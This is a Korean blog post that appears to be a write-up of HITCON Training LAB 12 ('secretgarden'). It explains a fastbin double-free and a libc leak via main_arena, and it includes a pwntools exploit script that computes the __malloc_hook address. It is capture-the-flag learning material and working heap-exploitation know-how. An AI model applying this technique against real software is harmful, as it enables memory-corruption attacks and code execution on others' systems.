LAB 12(Fastbin attack)

728x90

크기는 전부 16으로 주고, 이름은 AAAA~CCCC, color는 aaaa~cccc

총 3개의 HEAP 할당

index 0을 free

index 1을 free 1의 fd가 index 0

index 1의 fd가 index 0을 가리킨다.

index1 fd → index 0

다시 index 0을 free

index 0 → index 1 → index 0

이때 힙을 3번 할당한다면, 동일한 주소를 2번 반환받을 수 있다.

fastbin size의 chunk가 free되고 fastbin에 들어간 뒤, 해당 free된 chunk의 fd의 값의 조작이 가능하다면 malloc의 결과로 원하는 주소를 리턴받을 수 있다

출처: https://dokydoky.tistory.com/460 [#dokydoky]

하지만 index 0을 다시 free 한 후, 힙을 할당 받으면 할당받을때의 Flower 이름이 해제된 힙의 fd로 들어가는 것을 알 수 있다.

다음 한번더 동일한 크기로 힙을 할당하면 0x603450이 fastbin에 들어간다

16크기 힙 할당

clean the garden을 하면 color부분도 다 사라짐

Libc_leak

fastbin 크기 4개 할당

 

 

저 8070부분이 valid부분임. heap을 정상적으로 할당하면 저 값이 1이 되고, 1이 되었을때 정상적으로 값을 출력함. free가 될때는 저 부분이 0이 됨

 

Exploit

from pwn import *
context.terminal = ['terminator', "-e"]

p = process('./secretgarden')
e = ELF('./secretgarden')
libc = e.libc
magic = 0x400c7b
gdb.attach(p)
def add(length, name, color):
    p.sendlineafter('choice : ', "1")
    p.sendlineafter('name :', str(length))
    p.sendlineafter('flower :', name)
    p.sendlineafter('flower :', color)

def dele(index):
    p.sendlineafter('choice : ', "3")
    p.sendlineafter('garden:', str(index))

def clean():
    p.sendlineafter('choice : ', "4")

def visit():
    p.sendlineafter('choice : ', "2")

#Allocate heap
add(40, "A"*4, "a"*4)
add(40, "B"*4, "b"*4)
add(40, "C"*4, "c"*4)
add(40, "D"*4, "d"*4)
add(128, "E"*4, "e"*4)
add(128, "F"*4, "f"*4)

#free chunk
dele(2)
dele(3)
dele(4)

clean()
#modify size
add(40, "K"*8, p64(0xdeadbeef)*2+p64(0xcafebebe)+p64(0x31)) #cafebebe is prev_size
add(40, "L"*8, "l"*8)
visit()

#leak main_arena+216, __malloc_hook
p.recvuntil('flower[3] :')
leak = u64(str(p.recv(6).ljust(8, '\x00')))
log.info('leak : {}'.format(hex(leak))) # main_arena+216
malloc_hook = leak - 0xe8 # main_arena+216 - 0xe8 = __malloc_hook
fake_chunk = malloc_hook - 0x23
log.info('__malloc_hook : {}'.format(hex(malloc_hook)))
log.info('fake_chunk : {}'.format(hex(fake_chunk)))

raw_input()
p.interactive()
728x90

'Hitcon Training' 카테고리의 다른 글

LAB 11(Unsafe Unlink)  (0) 2021.07.25
LAB 14(Unsorted bin Attack)  (0) 2021.07.25
LAB 5  (0) 2021.07.25
LAB 5 - 미완성  (0) 2021.07.25
LAB 3  (0) 2021.07.25